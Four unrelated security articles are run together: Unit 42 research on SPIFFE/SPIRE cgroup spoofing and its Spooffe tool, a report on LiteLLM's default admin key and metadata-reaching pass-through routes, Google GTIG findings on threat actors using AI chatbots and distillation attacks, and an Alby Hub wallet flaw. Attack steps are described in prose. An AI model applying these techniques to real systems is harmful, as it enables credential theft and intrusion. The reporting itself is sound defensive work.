This research demonstrates post-exploitation techniques that could allow an attacker with root access on a compromised Kubernetes node to misuse an open standard and reference implementation for machine identity known as SPIFFE/SPIRE to impersonate co-located workloads and harvest SPIFFE Verifiable Identity Documents (SVIDs). We show how the trust assumption at the core of every machine-identity system — that the node is trusted — collapses once an attacker obtains root on that node. Unit 42 has not observed this technique exploited in the wild. The Secure Production Identity Framework for Everyone (SPIFFE)/the SPIFFE Runtime Environment (SPIRE) is widely deployed in Kubernetes and cloud-native environments to replace long-lived secrets with short-lived, cryptographically verifiable workload identities. Our research shows how an attacker with root can spoof the Linux control group (cgroup) information the SPIRE agent uses during workload attestation. This tricks the agent into issuing a co-located workload's SVID to an attacker-controlled process. As part of this research, we developed Spooffe, an open-source tool that defenders can use to test whether an attacker with administrative access could manipulate cgroup metadata to retrieve co-located workload identities and assess the resulting identity area of impact. When designing threat models for SPIFFE/SPIRE, organizations should assume that root-level access to a node grants access to all cryptographic identities scoped to it. We recommend performing the following activities to reduce exposure: Harden nodes Restrict root access Prohibit privileged containers, host access Minimize reliance on weak selectors Palo Alto Networks customers are better protected from the threats described here through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. SPIFFE is an open standard for machine identity designed to solve the “Secret Zero” problem — the challenge of securely introducing the initial secret required to bootstrap trust — by replacing long-lived secrets with short-lived workload identities. When deployed correctly, SPIFFE enforces strong identity boundaries between workloads. However, these guarantees rely on a core assumption shared by all identity systems that the underlying node is trusted. If an attacker gains root access to a node, they can interact with identity mechanisms to retrieve all identities authorized to that compromised node. Our research explores how attackers can exploit root access to harvest workload identities from a compromised node. In this post, we lay the groundwork by explaining machine identity and how SPIFFE establishes and verifies trust in cloud-native environments. We then demonstrate workload impersonation through selector spoofing. Finally, we introduce Spooffe, a tool we built to automate the extraction of these workload identities (SVIDs). Note to readers: If you’re already familiar with SPIFFE/SPIRE concepts and architecture, you can jump directly to Workload Attestation and How the Agent Attests the Workload sections. Consider a scenario where two applications, a frontend and a backend, must communicate securely. We could generate key pairs and exchange public keys to communicate through Mutual Transport Layer Security (mTLS), but this option raises a few key questions: Who rotates those keys? Who revokes them if the app is compromised? Can we verify who/what is presenting the keys? SPIFFE addresses these issues by standardizing how machines are named and how short-lived credentials are issued. The term machines refers to two broad categories: Workloads: Containers, processes and services running application logic Devices: Endpoints such as desktops, mobile devices and internet of things (IoT) or operational technology (OT) systems - (Note: Device identity is not part of the core SPIFFE specification) Each workload is assigned three identity components: SPIFFE ID: Who you are (your name) SPIFFE Verifiable Identity (SVID): Proof that you are who you are claiming to be (your credentials) Trust Bundle: How others verify that a trusted authority issued your credential Let’s go into a little more detail about each of these. SPIFFE ID is a canonical name for a workload identity that follows a URI-style format like spiffe:// / (Figure 1). The middle part (example[.]com) in Figure 1 is the trust domain, the issuer of identity that acts as a security boundary. In this way, workloads can have an identity and know who to communicate with. However, identity alone does not guarantee trust or security, so we add the SPIFFE Verifiable Identity Document (SVID). This is a short-lived credential that a workload presents to prove its identity. It is cryptographically signed by the certificate authority (CA) server and always includes the workload's SPIFFE ID. SVIDs support two primary formats: X.509 SVID: A certificate with an embedded public key, typically used for mTLS JSON Web Token (JWT) SVID: A signed JWT token used as a bearer token for application-level authorization Finally, we have the trust bundle, which is a set of trust anchors — root CA certificates or JSON Web Key Sets (JWKS). These are used to verify that a trusted authority issued an SVID within a trust domain. To understand how these identity components are issued and verified in practice, we first need to look at the SPIRE architecture and its core runtime components. SPIRE is a production-ready implementation of the SPIFFE specification. While several implementations exist, we chose SPIRE for this research because it is widely deployed in Kubernetes environments and fully implements the SPIFFE standard. Furthermore, because SPIRE is open source, we can inspect its internals to understand how the specification works in practice. SPIRE is composed of a few simple pieces (as shown in Figure 2 below): Workload: A single piece of software deployed to do a specific job (e.g., a process, container, pod) SPIRE Server (control plane): This is the CA that stores registration entries. It also issues and cryptographically signs SVIDs. Additionally, it publishes the trust bundle for the trust domain. SPIRE Agent: This runs on every compute node (e.g., a Kubernetes node, VM or bare-metal host). It performs the following activities: - Accepts requests from workloads locally over the Workload API (UNIX socket) - Communicates with the server via the Node API - Performs attestation - Caches SVIDs - Handles rotation Registration entries and selectors: These are server-side policy objects that define which workloads are allowed to receive which SPIFFE IDs. When a workload requests an identity, the SPIRE agent collects runtime attributes (selectors) about the workload and the server compares them against registration entries to determine which identity, if any, should be issued. With the SPIRE architecture in mind, we can now walk through how workload-to-workload identity verification works end to end. When workload A needs to communicate with workload B over mTLS, it requests a short-lived credential from the local SPIRE agent. The agent attests the workload and forwards the attestation data to the SPIFFE server. Based on predefined registration policies, the server selects the appropriate SPIFFE ID for the workload and issues a short-lived X.509 SVID. The server also publishes the corresponding public keys as part of the trust bundle. When workload A initiates a connection, it presents its SVID during the mTLS handshake. Workload B verifies the SVID by validating the signature against the trust bundle, checking the certificate’s expiration, and confirming that the SPIFFE ID matches an expected identity. If these checks succeed, workload B can cryptographically authenticate workload A and establish a secure connection. This enables workload-to-workload communication based on identity rather than long-lived secrets (Figure 3). The identity flow described above depends on attestation, the process by which SPIRE determines whether a workload is allowed to receive an identity. SPIRE performs attestation at two levels: Node attestation establishes trust in the agent running on a node Workload attestation determines the identity of individual workloads In this post, we focus on workload attestation, as it is the mechanism directly involved in selector evaluation and the attacks discussed later. Before the agent attests the workloads, the SPIRE server’s administrator must register the workload selectors in the SPIRE server so it can later compare them to the selectors in the agent. In this Kubernetes example, the registration entry authorizes any pod running in the default namespace and using the default service account to receive the specified SPIFFE identity (spiffeID). The resulting record is stored on the SPIRE server as follows: The SPIRE agent periodically synchronizes and caches these registration entries from the server, using them locally during workload attestation to determine which identity applies. The agent generates key pairs for each registration entry, sends certificate signing requests (CSRs) to the server and caches the resulting SVIDs. When a workload wants to authenticate, it requests an identity from the agent over the Workload API (Figure 4, step 1). The agent performs workload attestation (Figure 4, step 2) by gathering selectors from the workload process and matching them against cached registration entries. Upon a successful match (Figure 4, step 3), the agent returns: X.509 SVID Private key Trust bundle Note: This example is based on an X.509 SVID request. For JWT SVID requests, the agent returns only a signed JWT token. With the high-level flow in mind, we can now examine how attestation works in practice. When a workload requests an SVID (via FetchJWTSVID or FetchX509SVID), it connects to the agent Workload API, typically via a Unix domain socket (such as /run/spire/sockets/agent.sock). The agent then extracts the PID for the calling process. Once the agent receives the PID, it passes it to the configured workload attestor plugins, which collect selectors based on process and container metadata. SPIRE agents support several workload-attestor plugins. Common plugins include docker, k8s, systemd, Unix and Windows. In our cluster, the agent uses the k8s and Unix plugins. The k8s plugin uses the workload PID to access /proc/ /mountinfo or /proc/ /cgroups. It calls GetPodUIDAndContainerID to extract the pod UID and the container ID. In our environment, this process looks like the following: After extracting the container ID and pod UID, the k8s plugin queries the kubelet to retrieve pod metadata. To do this, it uses the SPIRE agent’s service account token, stored at /var/run/secrets/kubernetes.io/serviceaccount/token. The agent's service account has the following permissions, which allow it to list pods and access node information: Using this token, the plugin calls getPodList to retrieve all pods on the node. It then identifies the pod whose UID and container ID match the values extracted from the /proc directory. Once matched, it collects selectors from the pod's metadata: The Unix plugin gathers information from /proc to produce selectors such as user identifier (UID) and group identifier (GID). These selectors are used during workload attestation to bind a workload’s identity to operating system level properties of the calling process, helping SPIRE distinguish between different workloads running on the same node. Here is an example of the selectors it collects: The agent combines these selectors from both the k8s and Unix plugins. It then matches this selector set against the locally cached registration entries. If an entry's selectors are a subset of the workload's selectors, the agent returns the corresponding cached SVID to the workload. This attack requires root-level access to the node. Our analysis revealed that workload attestation relies heavily on the workload’s cgroup path. An attacker with root access on the node can manipulate this cgroup path, potentially tricking the agent into believing the attestation claims belong to a different workload and obtain that workload’s identity. This could allow the attacker to impersonate the victim workload and access any services or resources trusted under that identity. As a first step, we created a registration entry for a pod named workload-a in the server and we verified that we could fetch its identity from the pod: We verified that we could not retrieve this identity from the host by requesting a JWT SVID: To spoof the workload-a cgroup, we first retrieve its PID: We checked its cgroup path based on the above PID: We copied this path to a mock cgroup path and wrote our shell’s current PID($$) into the mock cgroup’s cgroup.procs file: Notably, writing the PID directly into the original cgroup path would have also worked. We used a separate cgroup only to avoid modifying the original workload’s runtime state. Running the fetch command again successfully retrieved the identity associated with PID 9072: We can also see the workload-a SPIFFE ID inside the JWT token: The manual spoofing demonstration highlights that the security model relies entirely on a single, vulnerable assumption of node integrity. When we have root access, we can get the identity of any workload on the node. This manual spoofing demonstration highlights a critical trust assumption in workload attestation. When an attacker has root-level access to a node, they can manipulate cgroup information to cause the SPIRE agent to misattribute workload identities. Under these conditions, the attacker can impersonate other workloads running on the same node and obtain their identities. These findings motivated us to develop Spooffe, a tool that allows defenders to automate selector spoofing to retrieve all the workload identities from the node. Spooffe scans the node for running workloads, discovers their cgroup paths, and replicates them as a mock cgroup for its own process. It then queries the local SPIRE agent for the resulting identities (SVIDs), allowing us to collect all workload identities present on the host (Figure 5). Besides selector spoofing, Spooffe includes additional capabilities. However, in this post we focus only on the features relevant to this research. One such capability is agent impersonation, which examines whether an attacker can impersonate the SPIRE agent and communicate directly with the server to extract workload identities. In this article, we demonstrated how an attacker with root access on a compromised node can misuse SPIFFE/SPIRE workload attestation to impersonate co-located workloads and retrieve their identities. By manipulating cgroup metadata, we showed how attackers could mislead the SPIRE agent into issuing valid SVIDs to an attacker-controlled process. We also introduced Spooffe, a tool that automates this technique to enumerate and extract workload identities from a node. These findings highlight a fundamental assumption in workload identity systems: trust in the underlying node. While SPIFFE/SPIRE enforces strong cryptographic identity guarantees between workloads, those guarantees rely on the integrity of the environment where attestation occurs. Once that trust boundary is broken, identity isolation between workloads collapses, allowing attackers to move laterally using legitimate credentials rather than stolen secrets. Organizations adopting workload identity should treat node-level compromise as equivalent to compromise of all identities scoped to that node. To reduce risk, restrict privileged containers, limit direct host access and minimize reliance on weak or easily spoofable selectors. Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex XDR and XSIAM can help protect against post-exploitation activities using the multi-layer protection approach. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection, and Endpoint Protection Modules (EPM). Cortex Cloud Identity Threat Detection can help deliver end-to-end visibility across cloud providers and IdPs by baselining real-time access patterns. By continuously monitoring these behaviors, ITDR detects identity abuse and compromised credentials targeting critical cloud resources and Kubernetes workloads, automatically triggering containment actions to keep attackers out. If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Spooffe — GitHub

Nearly one in ten of the internet-facing LiteLLM servers that Wiz Research scanned in February accepted sk-1234, the example admin key in LiteLLM's own setup guide. LiteLLM is an open-source AI gateway, the software a company puts between its applications and the model providers it pays for. That key is the gateway's administrator credential. Anyone who holds it can read every model provider's API key stored on the server. In Wiz's tests, it also reached the cloud IAM credentials of the machine the gateway runs on. Changing the key needs no upgrade, and it closes every path in Wiz's report that depends on holding it. Where the Number Comes From Wiz ran one scan. It found 3,074 LiteLLM gateways on Shodan in February, and 294 of them accepted the key. In 191 of those 294, no key was set at all, so they would have accepted anything. The rest had the setup guide's value left in place. A second scan in August found more than 85,000 instances, but Wiz says most of them appear to be honeypots or test systems, so the two counts cannot be compared. There is no current figure. As of September 9, LiteLLM's setup guide still uses sk-1234, above a comment telling operators to replace it with a long random value before any real use. Why One Key Matters This Much The master key does two jobs at once, and that is what makes a default value serious. It is the admin credential and the switch that enables authentication. Before version 1.82.0-stable, a gateway that started without a master key granted every incoming request full admin rights. An admin on one of these servers has a lot in reach. The gateway can hold an API key for every provider it routes to, see every prompt and reply passing through, and connect to internal tools via the Model Context Protocol (MCP). It also usually runs with the cloud permissions of the workload it is deployed in. Stolen provider keys alone let an attacker run model workloads on the victim's bill, an abuse known as LLMjacking. How the Key Reaches the Cloud Account LiteLLM lets an administrator create a pass-through endpoint, a route that forwards requests to any URL the admin chooses. The target URL is not checked against private address ranges, localhost, or cloud metadata addresses. An admin can therefore point a route at the instance metadata service and read back the IAM credentials it returns. Switching to IMDSv2 does not stop this. LiteLLM documents that any header sent with an x-pass- prefix is passed to the target with the prefix removed, and Wiz used that to send the headers IMDSv2 requires. No source reports anyone doing this against a real deployment. It is a demonstration, and it needs admin access first. Wiz says the feature is arguably working as intended, because LiteLLM's threat model treats administrators as trusted. It has no CVE and no fix. The project says much the same about the way in. Its published security policy lists attacks that need a setup mistake, such as not setting a master key, as "explicitly not in scope" and not treated as vulnerabilities. The Guardrail Flaw, and a Disputed Severity The one code execution flaw in Wiz's report is CVE-2026-59821, and the researchers and the maintainers describe it very differently. Wiz calls it post-authentication code execution at root level, and shows a test returning uid=0(root) inside the gateway container. LiteLLM's advisory for the same CVE rates it as Low (2.1 on the CVSS scale), describing it as a flaw that requires a high-privilege account. Both describe the same behavior. Before 1.82.0-stable, the endpoints that create and update custom code guardrails skipped the sandbox and pattern checks the test endpoint applied, so anyone who could reach them could submit Python that ran inside the container. The advisory adds that a deployment with no master key treated callers as proxy administrators, which is what put those endpoints within reach. Wiz's report states that after 1.82.0, an attacker with the default key could only run code within a sandbox. LiteLLM's own record does not support that for every release. A separate advisory published in May, CVE-2026-40217, says that the sandbox could be escaped using bytecode techniques by running code in the proxy process, which the advisory notes runs as root in the default Docker image. It covers versions from 1.81.8 up to, but not including, 1.83.10, and reaching the endpoint needs a proxy-admin credential. The master key is that credential. Both flaws Wiz reported were fixed months before its September 9 report, in February and April, and their CVEs were published in July. Separately: the LiteLLM Flaws Already Being Exploited These are older issues, and none of them is the route to cloud credentials described above. They are listed here because they affect the same product and are easy to confuse with it. CISA added one LiteLLM flaw to its Known Exploited Vulnerabilities catalog on September 2. CVE-2026-59822 (CVSS score: 8.8), also found by Wiz, lets an unauthenticated attacker open a valid MCP session using any Bearer token, including one a single character long. Federal civilian agencies have until September 16 to address it. Wiz saw it used against its own honeypots starting July 7, in requests that carry single-character tokens to probe model listing endpoints. Wiz described no other use of it. That flaw does not reach the code execution or credential paths above. Wiz states that it "only allows MCP server access". What it can reach depends on which tool servers an organization has connected to. The LiteLLM flaw attackers have used to run code is a different one. CVE-2026-42271 (CVSS score: 8.7) let any authenticated user run commands on the host through two MCP test endpoints, and Horizon3.ai reported in June that it could be chained with a Starlette host-header flaw, CVE-2026-48710, to do the same with no credentials at all. Wiz's honeypots recorded that flaw being used to install a cryptocurrency miner. Microsoft published a case in August in which attackers ran commands inside a LiteLLM gateway process, read the container's environment for the master key, the provider keys, and the database connection string, and then used that string to access the underlying PostgreSQL database and copy records from LiteLLM's model and virtual-key tables. Microsoft assesses with high confidence that the attackers gained access through the exposed gateway and says the entry point matches the CVE-2026-42271 and CVE-2026-48710 chain. "Treat AI gateways as Tier-0 secrets stores," the company said. What to Do Now Upgrading to 1.84.0 or later covers every flaw in the table. The version ranges are as stated in the advisories. Change the master key from sk-1234 to a long random value. This needs no upgrade. Check first whether a separate salt key is set, because the rotation procedure differs and using the wrong one can leave stored credentials unreadable. Upgrade to 1.84.0 or later. That release sits above the fixed version of every flaw in the table. If you cannot upgrade yet, block /mcp/ and the two MCP test endpoints,POST /mcp-rest/test/connection andPOST /mcp-rest/test/tools/list , at your reverse proxy or API gateway. Also block POST /guardrails/test_custom_code , and restrictPOST /guardrails andPUT /guardrails/{guardrail_id} to administrators. These are the workarounds in LiteLLM's own advisories. Review the pass-through endpoints on the gateway, restrict the container's outbound network access, and give the workload the narrowest cloud IAM role it can work with. If you think an attacker may have had access, review the guardrails list for entries you did not create and restart the process to clear code held in memory, then rotate the provider keys, the master key and the database credentials. Upgrading removes neither a guardrail an attacker registered nor an SSH key they added. There is no patch for the pass-through route to instance metadata, because LiteLLM does not treat it as a flaw. Outbound network limits and narrow IAM roles are the only controls available. No source sets out how to check whether MCP or pass-through routes are enabled on a gateway you have inherited. Microsoft's hunting queries find exploitation, not configuration.

Adversaries, both criminal and state-sponsored, are increasingly using AI to automate and scale their attacks, according to Google’s Threat Intelligence Group (GTIG). What started as relatively simple adversarial prompt injection into enterprise AI systems has become a full-blown war, with aggressors developing and using their own AI systems, and enterprises using additional AI defenses that provide an expanded attack surface. It is an ongoing and expanding loop that is unlikely to abate. Google, straddling both sides of this war (partly a cause by developing Gemini, and partly a defense in its efforts to detect and shut down attackers), has chronicled the evolution through 2026. The overall effect of this automation is an increased speed of attack, and TeamPCP (UNC6780) provides an example. “The threat actor leveraged an AI coding chatbot, a prompt, and a set of agent instructions to plan, build, and execute a mass credential harvesting campaign in less than six hours,” say the Google researchers. Harnessing AI allows attackers to operate at a scale more typically associated with larger and better resourced groups, such as those affiliated with nation states. TeamPCP is also used to highlight the growing severity of threat actor exploitation of AI and the open source supply chain. Since March 2026, the actor has conducted such compromises against targets including PyPI, npm, and Docker Hub. It has also implemented more than half a dozen different methods to target or exploit AI tools and open source software development practices, some of which are embedded within its Dustmaker credential stealer software. TeamPCP also developed Shai-Hulud and Miasma, both of which are publicly available. GTIG believes “The publicity, apparent success, and open-source release of UNC6780’s malware will likely spur adversary emulation of these tactics.” The group is just one of many actors similarly using AI as a force multiplier for their activities. If a cybersecurity attack is a firefight, AI is fanning the flames. But it’s not just financially motivated criminals taking advantage – nation state actors are also increasingly leaning into AI. In June 2026, GTIG reported on a multi-year cyberespionage campaign by UNC6508, a People’s Republic of China (PRC)-nexus threat actor, targeting academic, medical, and military research institutions in North America. GTIG has also identified various nation-state actors keen on developing offensive agentic AI tools. One PRC group has been seen experimenting with AI-powered development tools to build an AI-assisted, automated exploitation and post-exploitation pipeline. PRC-nexus Basin Castle has been seen querying LLMs to profile high-value targets during early-stage reconnaissance, draft and translate localized social engineering lures, author obfuscated custom malware, and troubleshoot post-exploitation commands. Calanque Ion (aka APT42), an Iran-backed group, has used gen-AI (including Gemini) to identify target email addresses, conduct OSINT research, and translate content across local languages to craft localized pretext lures. Ravine Castle (aka APT24), also PRC-nexus, uses Gemini across the entire attack lifecycle from intelligence gathering to attack capability development, and influence operations. It has also been seen using Gemini to generate politically charged propaganda; research methods on anonymizing data leaks for downstream dissemination to journalists and social media influencers. Midnight Neptune (UNC1069) is a DPRK-nexus actor that has increasingly integrated AI across its operational lifecycles to support cryptocurrency theft. Google’s response to this increase in AI-assisted attacks is to disrupt adversarial operations by disabling associated projects and accounts whenever it identifies them. It also hardens its own models against misuse; for example, “In response to model extraction – or ‘distillation’ – attacks, we have deployed real-time defenses designed to degrade the performance of unauthorized ‘student’ models and detect attempts to clone proprietary logic.” (See here for CISA’s details on China’s distillation attacks against US frontier AI companies.) The basic problem, however, is AI’s facility in finding vulnerabilities and developing new malware and exploits. So long as this persists, bad actors will use AI as a force multiplier for their activities. There will never be a lack of vulnerabilities – as fast as they are located and patched, they are replaced by different vulnerabilities in new software. Good actors such as Google may find and disrupt adversarial activities, but the bad actors will move, adapt and carry on. That has been the pattern in cybersecurity since the internet began – only the details change. AI introduces many more details and adds speed and scale, but the basic warzone is and is likely to remain unchanged. Related: AI Fuels ‘Industrial’ Cybercrime as Time-to-Exploit Shrinks to Hours Related: Google DeepMind Unveils Framework to Exploit AI’s Cyber Weaknesses Related: Cyber Insights 2026: Cyberwar and Rising Nation State Threats

Bitcoin wallet company Alby has warned of a critical flaw in Alby Hub that could have let an attacker take over a wallet and send its funds, but only where the owner had made the Hub reachable from the internet. Alby Hub is a self-hosted Lightning wallet, meaning the owner runs it on their own computer or server, and it holds their bitcoin. The flaw affects versions v1.7.0 through v1.18.5, all released before August 2025, and Alby said one user has been affected so far. Versions v1.19.0 and later do not have the flaw. The first release with that fix was published on August 29, 2025, so a Hub updated to any release published since then is not affected. Alby is telling anyone still on an older build to stop outside access to the Hub's management interface first, which is the web page used to control the wallet. The next step is to update to v1.24.0, the current release. The company has not said what the flaw is. It said it would publish full details later, in line with responsible disclosure practices, and thanked researchers who reported other issues that were fixed in the latest release. Alby said that, to its knowledge, one user has been affected, and did not say whether that user lost money. It said the user reported the details to the company. What to Do Now Check the version your Hub is running. If it is v1.18.5 or older, stop the Hub being reachable from outside your own network first. In a Docker setup, that means the port is published as 127.0.0.1:8080:8080 and not 8080:8080. On a cloud server, it means the firewall rule for port 8080 allows your own address rather than any address. Update to v1.24.0. If your Hub ran an affected version and was reachable from the internet, change your unlock password after the update and contact [email protected]. Alby has not said whether updating alone ends any access an attacker already had to an exposed Hub. Its advice to change the unlock password applies to exactly that group, and no published source explains what the change is meant to undo. How a Hub Ends Up on the Internet Alby Hub is built to sit on a private network. Its web interface requires a login, and the project's own documentation now warns owners not to put it on the public internet because the server listens on every network connection the machine has, rather than only on the machine itself. That warning is new. It arrived in a documentation change merged on September 7, whose own description says several of the setup guides had described the server as "running on localhost when it actually listens on all network interfaces." The same change switched the project's Docker file from publishing port 8080 to every address to publishing it only to the machine itself. Before that, the guide for running Alby Hub on a Linux server said the Hub runs on localhost and recommended a reverse proxy for anyone who wanted to make it public. The README shipped with the oldest and the newest affected release did not carry that warning, and neither does the one in the current release. As of September 9, the day of the warning, Alby's own guides for running a Hub on a cloud server still described a setup open to the internet. Its DigitalOcean guide tells the reader to keep the server's public address switched on, because it is "needed so you can open Alby Hub in your browser," and then to open the Hub at that address. Its Hetzner guide walks through creating a firewall rule for port 8080 with the source set to "Any IPv4 and Any IPv6, or your own IP address for better security," and its example Docker file publishes the port to every address. An Earlier Takeover on an Exposed Hub This is not the first Alby Hub taken over after being left open. In November 2025, replying to a user whose Hub had been emptied, Alby said the machine was "reachable publicly on the clearnet, so it could be accessed from the outside." By Alby's account, that was a different problem, not this flaw: the Hub's setup had never been finished, so no unlock password existed yet, and the attacker completed the setup themselves. After that case, a change to Umbrel's app put Alby Hub behind Umbrel's own login, which had been switched off for it until then. Umbrel's app store now installs v1.24.0, and Alby's own Umbrel listing installs v1.21.4, both newer than the fixed version, though that describes what those stores install today rather than what any given Hub is running. Two questions the warning leaves open matter to whole groups of users. It tells people to check the installed version, which does not indicate whether Alby Cloud has already handled it for them. It also names v1.7.0 as the start of the affected range without saying where that leaves the releases before it, which go back to v1.0.2. The Hacker News has put both questions to Alby, along with the question of what the password change is meant to undo.